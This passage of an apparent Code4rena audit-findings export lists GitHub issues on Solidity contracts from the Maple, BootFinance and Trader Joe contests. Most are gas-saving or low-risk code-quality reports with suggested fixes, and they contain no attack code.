https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/LaunchEvent.sol#L338-L338 ```solidity if (rJoeNeeded > 0) { ``` https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/LaunchEvent.sol#L355-L355 ```solidity require(_amount > 0, \"LaunchEvent: invalid withdraw amount\"); ``` https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/LaunchEvent.sol#L370-L370 ```solidity if (feeAmount > 0) { ``` https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/LaunchEvent.sol#L455-L455 ```solidity if (tokenReserve > 0) { ``` https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/LaunchEvent.sol#L537-L537 ```solidity if (excessToken > 0) { ``` "}, {"title": "Floating pragma", "html_url": "https://github.com/code-423n4/2021-12-maple-findings/issues/23", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor confirmed"], "target": "2021-12-maple-findings", "body": "# Handle saian # Vulnerability details ## Impact Contracts should be deployed with the same version of compilers with which it was tested, Using a unlocked pragma might result in contract being deployed with a version it was not tested with, and might result in bugs and unwanted behaviour. ## Proof of Concept Contracts in below repositories : maple-labs/debt-locker maple-labs/erc20-helper maple-labs/loan maple-labs/maple-proxy-factory maple-labs/proxy-factory ## Tools Used Manual Analysis ## Recommended Mitigation Steps Lock the pragma version, it is advised not to use unlocked pragma in production. "}, {"title": "Typos", "html_url": "https://github.com/code-423n4/2021-12-maple-findings/issues/22", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-12-maple-findings", "body": "Typos"}, {"title": "Must approve 0 first", "html_url": "https://github.com/code-423n4/2021-12-maple-findings/issues/11", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-maple-findings", "body": "# Lines of code https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Lock.sol#L117 # Vulnerability details ## Impact Some tokens (like USDT) do not work when changing the allowance from an existing non-zero allowance value.They must first be approved by zero and then the actual allowance must be approved. ## Proof of Concept https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Lock.sol#L117 ```solidity function claimGovFees() public { address[] memory assets = bondNFT.getAssets(); for (uint i=0; i < assets.length; i++) { uint balanceBefore = IERC20(assets[i]).balanceOf(address(this)); IGovNFT(govNFT).claim(assets[i]); uint balanceAfter = IERC20(assets[i]).balanceOf(address(this)); IERC20(assets[i]).approve(address(bondNFT), type(uint256).max);// @audit this could fail always with some tokens, bondNFT.distribute(assets[i], balanceAfter - balanceBefore); } } ``` ## Tools Used manual revision ## Recommended Mitigation Steps Add an approve(0) before approving; ``` function claimGovFees() public { address[] memory assets = bondNFT.getAssets(); for (uint i=0; i < assets.length; i++) { uint balanceBefore = IERC20(assets[i]).balanceOf(address(this)); IGovNFT(govNFT).claim(assets[i]); uint balanceAfter = IERC20(assets[i]).balanceOf(address(this)); IERC20(assets[i]).approve(address(bondNFT), 0); IERC20(assets[i]).approve(address(bondNFT), type(uint256).max); bondNFT.distribute(assets[i], balanceAfter - balanceBefore); } } ``` "}, {"title": "Open TODOs", "html_url": "https://github.com/code-423n4/2021-12-maple-findings/issues/10", "labels": ["bug", "question", "0 (Non-critical)", "disagree with severity", "sponsor confirmed"], "target": "2021-12-maple-findings", "body": "Open TODOs"}, {"title": "State variables that could be set immutable", "html_url": "https://github.com/code-423n4/2021-12-maple-findings/issues/7", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-maple-findings", "body": "# Handle robee # Vulnerability details In the following files there are state variables that could be set immutable to save gas. The list of format , : basket in RebalanceManagerV2.sol uniSwapLikeRouter in SingleNativeTokenExit.sol INTERMEDIATE_TOKEN in SingleNativeTokenExit.sol uniSwapLikeRouter in SingleNativeTokenExitV2.sol INTERMEDIATE_TOKEN in SingleNativeTokenExitV2.sol uniSwapLikeRouter in SingleTokenJoin.sol INTERMEDIATE_TOKEN in SingleTokenJoin.sol uniSwapLikeRouter in SingleTokenJoinV2.sol INTERMEDIATE_TOKEN in SingleTokenJoinV2.sol predicateProxy in MintableERC20.sol underlying in PolygonERC20Wrapper.sol childChainManager in PolygonERC20Wrapper.sol "}, {"title": "Storage double reading. Could save SLOAD", "html_url": "https://github.com/code-423n4/2021-12-maple-findings/issues/4", "labels": ["bug", "duplicate", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-maple-findings", "body": "# Handle robee # Vulnerability details Reading a storage variable is gas costly (SLOAD). In cases of multiple read of a storage variable in the same scope, caching the first read (i.e saving as a local variable) can save gas and decrease the overall gas uses. The following is a list of functions and the storage variables that you read twice: CDSTemplate.sol: parameters.getLockup is read twice in withdraw Factory.sol: registry is read twice in createMarket IndexTemplate.sol: totalAllocPoint is read twice in set IndexTemplate.sol: MAGIC_SCALE_1E6 is read twice in withdrawable PoolTemplate.sol: parameters.getLockup is read twice in withdraw PoolTemplate.sol: lockedAmount is read twice in utilizationRate PoolTemplate.sol: MAGIC_SCALE_1E6 is read twice in allocateCredit PoolTemplate.sol: MAGIC_SCALE_1E6 is read twice in withdrawCredit PoolTemplate.sol: MAGIC_SCALE_1E6 is read twice in insure PoolTemplate.sol: MAGIC_SCALE_1E6 is read twice in resume BondingPremium.sol: k is read twice in getCurrentPremiumRate BondingPremium.sol: k is read twice in getPremiumRate BondingPremium.sol: c is read twice in getPremiumRate BondingPremium.sol: b is read twice in getCurrentPremiumRate BondingPremium.sol: b is read twice in getPremiumRate BondingPremium.sol: T_1 is read twice in getCurrentPremiumRate BondingPremium.sol: T_1 is read twice in getPremiumRate BondingPremium.sol: BASE is read twice in getCurrentPremiumRate BondingPremium.sol: BASE is read twice in getPremiumRate BondingPremium.sol: BASE_x2 is read twice in getCurrentPremiumRate BondingPremium.sol: BASE_x2 is read twice in getPremiumRate Vault.sol: token is read twice in repayDebt Vault.sol: token is read twice in utilize Vault.sol: token is read twice in withdrawRedundant Vault.sol: totalAttributions is read twice in attributionValue Vault.sol: balance is read twice in valueAll Vault.sol: balance is read twice in withdrawRedundant "}, {"title": "Short the following require messages", "html_url": "https://github.com/code-423n4/2021-12-maple-findings/issues/3", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-maple-findings", "body": "# Handle robee # Vulnerability details The following require messages are of length more than 32 and we think are short enough to short them into exactly 32 characters such that it will be placed in one slot of memory and the require function will cost less gas. The list: Solidity file: ActivePool.sol, In line 252, Require message length to shorten: 35, The message: ActivePool: Caller is not whitelist Solidity file: BorrowerOperations.sol, In line 215, Require message length to shorten: 39, The message: BOps: colls and amounts length mismatch Solidity file: BorrowerOperations.sol, In line 874, Require message length to shorten: 33, The message: BOps: Collateral not in whitelist Solidity file: CollSurplusPool.sol, In line 167, Require message length to shorten: 40, The message: CollSurplusPool: Caller is not Whitelist Solidity file: DefaultPool.sol, In line 122, Require message length to shorten: 38, The message: DefaultPool: sending collateral failed Solidity file: DefaultPool.sol, In line 167, Require message length to shorten: 36, The message: DefaultPool: Caller is not whitelist Solidity file: LiquitySafeMath128.sol, In line 10, Require message length to shorten: 37, The message: LiquitySafeMath128: addition overflow Solidity file: LiquitySafeMath128.sol, In line 16, Require message length to shorten: 40, The message: LiquitySafeMath128: subtraction overflow Solidity file: SafeMath.sol, In line 87, Require message length to shorten: 33, The message: SafeMath: multiplication overflow Solidity file: Address.sol, In line 115, Require message length to shorten: 38, The message: Address: insufficient balance for call Solidity file: Address.sol, In line 140, Require message length to shorten: 36, The message: Address: static call to non-contract Solidity file: SortedTroves.sol, In line 131, Require message length to shorten: 34, The message: SortedTroves: ICR must be positive Solidity file: SortedTroves.sol, In line 230, Require message length to shorten: 34, The message: SortedTroves: ICR must be positive Solidity file: StabilityPool.sol, In line 1076, Require message length to shorten: 39, The message: StabilityPool: Caller is not ActivePool Solidity file: StabilityPool.sol, In line 1095, Require message length to shorten: 40, The message: StabilityPool: User must have no deposit Solidity file: StabilityPool.sol, In line 1099, Require message length to shorten: 38, The message: StabilityPool: Amount must be non-zero Solidity file: StabilityPool.sol, In line 1138, Require message length to shorten: 36, The message: DefaultPool: Caller is not whitelist Solidity file: SortedTrovesTester.sol, In line 23, Require message length to shorten: 34, The message: SortedTroves: ICR must be positive Solidity file: TroveManagerLiquidations.sol, In line 180, Require message length to shorten: 34, The message: TroveManager: nothing to liquidate Solidity file: TroveManagerRedemptions.sol, In line 520, Require message length to shorten: 34, The message: must be non zero redemption amount Solidity file: CommunityIssuance.sol, In line 131, Require message length to shorten: 35, The message: CommunityIssuance: caller is not SP Solidity file: YETIToken.sol, In line 198, Require message length to shorten: 36, The message: YETI: transfer from the zero address Solidity file: YETIToken.sol, In line 222, Require message length to shorten: 39, The message: YETI: caller must be the SYETI contract Solidity file: YUSDToken.sol, In line 294, Require message length to shorten: 37, The message: YUSD: Caller is not the StabilityPool "}, {"title": "`Timelock` Struct Packing in `Vesting.sol`", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/307", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle leastwood # Vulnerability details ## Impact The `Timelock` struct is used to reference the `releaseTimestamp` and vested `amount` for each vesting. These values can likely be safely stored as `uint64` and `uint192` values respectively, enabling the struct to be stored within a single slot instead of two slots. ## Proof of Concept https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/Vesting.sol#L32-L35 ## Tools Used Manual code review. ## Recommended Mitigation Steps Consider updating `releaseTimestamp` to `uint64` and `amount` to `uint192` within the `Timelock` struct. It might be worthwhile performing sanity checks when storing these values by using OpenZeppelin's safe math and safe cast libraries. "}, {"title": "Incorrect `require` Statement in `Vesting.claim()`", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/306", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle leastwood # Vulnerability details ## Impact The `claim()` function asserts that the claimable amount is strictly less than `benTotal` for a given user. However, this does not take into account previously claimed tokens, hence the `require` does not accurately depict its intended behaviour. ## Proof of Concept https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/Vesting.sol#L197 ## Tools Used Manual code review. ## Recommended Mitigation Steps Consider updating this `require` statement to account for already claimed tokens. This could look like the following: `require(amount.add(benClaimed[msg.sender]) <= benTotal[msg.sender], \"Cannot withdraw more than total vested amount\");` "}, {"title": "Validations", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/301", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "Validations"}, {"title": "_recordBurn _payer", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/300", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function _recordBurn does not really need this parameter of address _payer as it is always equal to msg.sender. Consider replacing: function _recordBurn(address _payer, ... emit Burn(_payer, ... with: function _recordBurn(... emit Burn(msg.sender, ... "}, {"title": "Useless nonReentrant", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/293", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pauliax # Vulnerability details ## Impact functions validate and modifyInvestor do not need nonReentrant modifier as they do not execute any external calls where you can hook up to re-enter. "}, {"title": "Optimize structs", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/290", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Member total_tokens in both structs Airdrop and Investors is practically not used and is a duplicate of the amount so you can remove it to save some storage. Also, gas efficiency can be improved by tightly packing the struct. Struct variables are stored in 32 bytes each so you can group smaller types to occupy less storage, e.g. airdropBalances which are later translated to the amount in Airdrop struct (10**18) can be stored in a smaller version of uint as we know all the exact values at compile time. "}, {"title": "Itteration over all the timelocks when revoking the user", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/285", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pauliax # Vulnerability details ## Impact When revoking the user, there is no need to iterrate over all his timelocks again and calculate the total amount as it should already be stored in a benTotal[_addr] mapping: uint256 locked = 0; for (uint256 i = 0; i < timelocks[_addr].length; i++) { locked = locked.add(timelocks[_addr][i].amount); } "}, {"title": "function claim optimizations", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/283", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function claim can save gas and eliminate duplicate storage access and math operations by caching claimableAmount and re-using it later when setting the benClaimed. before: uint256 amount = _claimableAmount(msg.sender).sub(benClaimed[msg.sender]); ... benClaimed[msg.sender] = benClaimed[msg.sender].add(amount); after: uint256 claimableAmount = _claimableAmount(msg.sender); uint256 amount = claimableAmount.sub(benClaimed[msg.sender]); ... benClaimed[msg.sender] = claimableAmount; Also, it looks strange that in function revoke the amount is checked with 'assert': assert(amount <= benTotal[_addr]); but in function claim 'require' is used: require(amount <= benTotal[msg.sender], \"Cannot withdraw more than total vested amount\"); In both places probably 'assert' should be used as it is checking a scenario that should never happen under normal circumstances. "}, {"title": "modifyInvestor does not need to check if _investor is not empty", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/281", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pauliax # Vulnerability details ## Impact This check in function modifyInvestor is not neccessary: require(_investor != address(0), \"Invalid old address\"); as empty address cannot be added in function addInvestor and later this check will fail: require(investors[_investor].amount != 0); "}, {"title": "Usage of assert", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/279", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Contracts use assert() instead of require() in multiple places. Assert is recommended to be used to check for internal errors, or to check invariants. In your case, I think these validations could better use 'require' as they are likely to be triggered: assert(claimable > 0); assert(airdrop[msg.sender].amount - claimable != 0); assert(block.timestamp - startEpochTime <= RATE_TIME); assert(block.timestamp - initTime >= YEAR * 5); A similar issue was submitted in a previous contest and was assigned a severity of low: https://github.com/code-423n4/2021-06-realitycards-findings/issues/83 ## Recommended Mitigation Steps Consider replacing 'assert' with 'require' in the cases mentioned above. "}, {"title": "NFT flashloans can bypass sale constraints", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/276", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-11-bootfinance-findings", "body": "NFT flashloans can bypass sale constraints"}, {"title": "burnAddress is not actually meant to burn anything", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/275", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pauliax # Vulnerability details ## Impact burnAddress is hardcoded to 0x03Df4ADDfB568b338f6a0266f30458045bbEFbF2. I see this address is a Gnosis safe multisig. So the eth is not actually burned even though I expected the burn by looking at the code. This confusion happens because the codebase was adopted from Vader protocol but with no actual intention of burning. ## Recommended Mitigation Steps To reduce this confusion and improve the readability of the codebase you should either rename the burn variables and functions or leave it as it is but comment and document the actual mechanics of the sale. "}, {"title": "_recordBurn does not handle 0 _eth appropriately", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/274", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "_recordBurn does not handle 0 _eth appropriately"}, {"title": "payable vest", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/273", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pauliax # Vulnerability details ## Impact There is no reason for the function vest to be 'payable' as it does not handle ether in any way and there is no way to rescue it later in case someone accidentally sends it. ## Recommended Mitigation Steps Remove 'payable' from the vest function. "}, {"title": "Adding unchecked directive can save gas", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/261", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "Adding unchecked directive can save gas"}, {"title": "Packing of state variable ", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/258", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact bool _iskilled state variable can be packed with one of the address state variable like {token , owner} which will save on slot of memory ## Proof of Concept https://github.com/code-423n4/2021-11-bootfinance/blob/b4ebd0a5ebcbc24f3d15836cdb9759243fc85868/core-contracts/contracts/sol/BTCPoolDelegator.sol#L55 https://github.com/code-423n4/2021-11-bootfinance/blob/b4ebd0a5ebcbc24f3d15836cdb9759243fc85868/core-contracts/contracts/sol/USDPoolDelegator.sol#L51 ## Tools Used manual review ## Recommended Mitigation Steps "}, {"title": "use of floating pragma", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/257", "labels": ["bug", "0 (Non-critical)"], "target": "2021-11-bootfinance-findings", "body": "use of floating pragma"}, {"title": "wrong operator used in checking the fees, adminfee, withdrawfee", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/254", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact wrong operator used in checking the fees, adminfee, withdrawfee instead of require(_fee < SwapUtils.MAX_SWAP_FEE, \"_fee exceeds maximum\"); _fee < = SwapUtils.Max_Swap_Fee , should be there same with adminfee & withdrawfee becuase in using <= it does not exceed the max value ## Proof of Concept https://github.com/code-423n4/2021-11-bootfinance/blob/b4ebd0a5ebcbc24f3d15836cdb9759243fc85868/customswap/contracts/Swap.sol#L192 ## Tools Used manual review ## Recommended Mitigation Steps use correct operator to check the value "}, {"title": "`SwapUtils.sol` Wrong implementation", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/252", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle WatchPug # Vulnerability details Based on the context, the `tokenPrecisionMultipliers` used in price calculation should be calculated in realtime based on `initialTargetPrice`, `futureTargetPrice`, `futureTargetPriceTime` and current time, just like `getA()` and `getA2()`. However, in the current implementation, `tokenPrecisionMultipliers` used in price calculation is the stored value, it will only be changed when the owner called `rampTargetPrice()` and `stopRampTargetPrice()`. As a result, the `targetPrice` set by the owner will not be effective until another `targetPrice` is being set or `stopRampTargetPrice()` is called. ### Recommendation Consider adding `Swap.targetPrice` and changing the `_xp()` at L661 from: https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/customswap/contracts/SwapUtils.sol#L661-L667 ```solidity=661 function _xp(Swap storage self, uint256[] memory balances) internal view returns (uint256[] memory) { return _xp(balances, self.tokenPrecisionMultipliers); } ``` To: ```solidity=661 function _xp(Swap storage self, uint256[] memory balances) internal view returns (uint256[] memory) { uint256[2] memory tokenPrecisionMultipliers = self.tokenPrecisionMultipliers; tokenPrecisionMultipliers[0] = self.targetPrice.originalPrecisionMultipliers[0].mul(_getTargetPricePrecise(self)).div(WEI_UNIT) return _xp(balances, tokenPrecisionMultipliers); } ``` "}, {"title": "`Vesting.sol#calcClaimableAmount()` Claimed amount should be excluded in claimable amount", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/248", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-11-bootfinance-findings", "body": "`Vesting.sol#calcClaimableAmount()` Claimed amount should be excluded in claimable amount"}, {"title": "Missing error messages in require statements", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/247", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "Missing error messages in require statements"}, {"title": "`Vesting.sol#_claimableAmount()` Remove unnecessary storage variables can save gas", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/246", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/vesting/contracts/Vesting.sol#L184-L184 ```solidity=184 benVested[_addr][1] = partial_sum; ``` `benVested[_addr][1]` is never used in the contract and the sum of partial claimable vesting is changing every second. Removing it can save gas. "}, {"title": "Cache external call results can save gas", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/242", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle WatchPug # Vulnerability details Every call to an external contract costs a decent amount of gas. For optimization of gas usage, external call results should be cached if they are being used for more than one time. For example: `factory.getPair(wavaxAddress, tokenAddress)` and `factory.getPair(tokenAddress, wavaxAddress)` in `LaunchEvent#createPair()` https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/LaunchEvent.sol#L377-L435 ```solidity function createPair() external isStopped(false) atPhase(Phase.PhaseThree) { // ... require( factory.getPair(wavaxAddress, tokenAddress) == address(0) || IJoePair( IJoeFactory(factory).getPair(wavaxAddress, tokenAddress) ).totalSupply() == 0, \"LaunchEvent: liquid pair already exists\" ); // ... pair = IJoePair(factory.getPair(tokenAddress, wavaxAddress)); // ... } ``` note: `factory.getPair(a, b)` \u4e0e `factory.getPair(b, a)` \u76f8\u540c, see [code at github](https://github.com/traderjoe-xyz/joe-core/blob/5c2ca96c3835e7f2660f2904a1224bb7c8f3b7a7/contracts/traderjoe/JoeFactory.sol#L41-L42) or [code at avascan](https://avascan.info/blockchain/c/address/0x9Ad6C38BE94206cA50bb0d90783181662f0Cfa10/contract#:~:text=getPair%5Btoken1%5D%5Btoken0%5D%20%3D%20pair%3B%20//%20populate%20mapping%20in%20the%20reverse%20direction) ```solidity getPair[token0][token1] = pair; getPair[token1][token0] = pair; // populate mapping in the reverse direction ``` `IJoeFactory(factory).getPair(_token, wavax)` in `RocketJoeFactory#createRJLaunchEvent()` https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/RocketJoeFactory.sol#L122-L128 ```solidity require( IJoeFactory(factory).getPair(_token, wavax) == address(0) || IJoePair(IJoeFactory(factory).getPair(_token, wavax)) .totalSupply() == 0, \"RJFactory: liquid pair already exists\" ); ``` `token.decimals()` in `LaunchEvent#createPair()` https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/LaunchEvent.sol#L395-L405 ```solidity if ( floorPrice > (wavaxReserve * 10**token.decimals()) / tokenAllocated ) { tokenAllocated = (wavaxReserve * 10**token.decimals()) / floorPrice; // ... } ``` "}, {"title": "Use literal `2` instead of read from storage for `pooledTokens.length` can save gas", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/241", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle WatchPug # Vulnerability details The current design requires the number of pooledTokens to be 2, therefore `pooledTokens.length` can be replaced with literal `2` to save ~100 gas from each storage read (`SLOAD` after Berlin). Instances include: https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/customswap/contracts/SwapUtils.sol#L1027-L1027 https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/customswap/contracts/SwapUtils.sol#L1068-L1068 https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/customswap/contracts/SwapUtils.sol#L1082-L1082 https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/customswap/contracts/SwapUtils.sol#L1169-L1169 https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/customswap/contracts/SwapUtils.sol#L1230-L1230 https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/customswap/contracts/SwapUtils.sol#L1332-L1334 https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/customswap/contracts/SwapUtils.sol#L1369-L1369 https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/customswap/contracts/SwapUtils.sol#L1421-L1421 https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/customswap/contracts/SwapUtils.sol#L1447-L1447 https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/customswap/contracts/SwapUtils.sol#L1471-L1471 https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/customswap/contracts/Swap.sol#L336-L336 https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/customswap/contracts/Swap.sol#L295-L295 "}, {"title": "`SwapUtils.sol#getD()` Remove unnecessary variable and internal call can make the code simpler and save some gas", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/238", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/customswap/contracts/SwapUtils.sol#L620-L623 ```solidity=620 function getD(Swap storage self) internal view returns (uint256) { uint256 a = determineA(self, _xp(self)); // determine the correct A return getD(_xp(self), a); } ``` `a` is unnecessary as it's being used only once. The result of `_xp(self)` can be cached to avoid calling it twice. ### Recommendation Change to: ```solidity=620 function getD(Swap storage self) internal view returns (uint256) { uint256[] memory xp = _xp(self); return getD(xp, determineA(self, xp)); } ``` "}, {"title": "`SwapUtils.sol` Inconsistent parameter value of `lpTokenSupply` among `Liquidity` related events", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/237", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle WatchPug # Vulnerability details There are 4 events with the parameter `lpTokenSupply` in `SwapUtils.sol`, but the value of `lpTokenSupply` is not consistent. For the event `RemoveLiquidityOne`, `lpTokenSupply` is post burn: https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/customswap/contracts/SwapUtils.sol#L1349-L1349 ```solidity=1349 emit RemoveLiquidity(msg.sender, amounts, self.lpToken.totalSupply()); ``` For the event `RemoveLiquidityOne`, `lpTokenSupply` is pre burn: https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/customswap/contracts/SwapUtils.sol#L1368-L1368 For the event `removeLiquidityImbalance`, `lpTokenSupply` is post burn: https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/customswap/contracts/SwapUtils.sol#L1475-L1481 For the event `AddLiquidity`, `lpTokenSupply` is post mint: https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/customswap/contracts/SwapUtils.sol#L1261-L1267 ### Recommendation Given that 3 out of the 4 events are using updated `totalSupply` as `lpTokenSupply`, consider changing `RemoveLiquidityOne` to post burn `totalSupply`. "}, {"title": "External call can be done later to save gas", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/236", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/customswap/contracts/SwapUtils.sol#L1362-L1375 ```solidity=1362 function removeLiquidityOneToken( Swap storage self, uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount ) external returns (uint256) { uint256 totalSupply = self.lpToken.totalSupply(); uint256 numTokens = self.pooledTokens.length; require( tokenAmount <= self.lpToken.balanceOf(msg.sender), \">LP.balanceOf\" ); require(tokenIndex < numTokens, \"Token not found\"); ``` The external call to get the `totalSupply` of the `lpToken` can be done later to avoid unnecessary code execution when the check of `tokenAmount` and `tokenIndex` does not pass. "}, {"title": "`SwapUtils.sol#getYD()` Remove redundant code can save gas", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/233", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle WatchPug # Vulnerability details `getYD()` already `require(tokenIndex < numTokens, \"...\")`, so the check in `getYDC()` is redundant. Removing it will make the code simpler and save some gas. https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/customswap/contracts/SwapUtils.sol#L477-L502 ```solidity=477 function getYDC( Swap storage self, uint256 a, uint8 tokenIndex, uint256[] memory xp, uint256 d ) internal view returns (uint256) { uint256 numTokens = xp.length; require(tokenIndex < numTokens, \"Token not found\"); // calculate y uint256 y = getYD(a, tokenIndex, xp, d); // ... } ``` 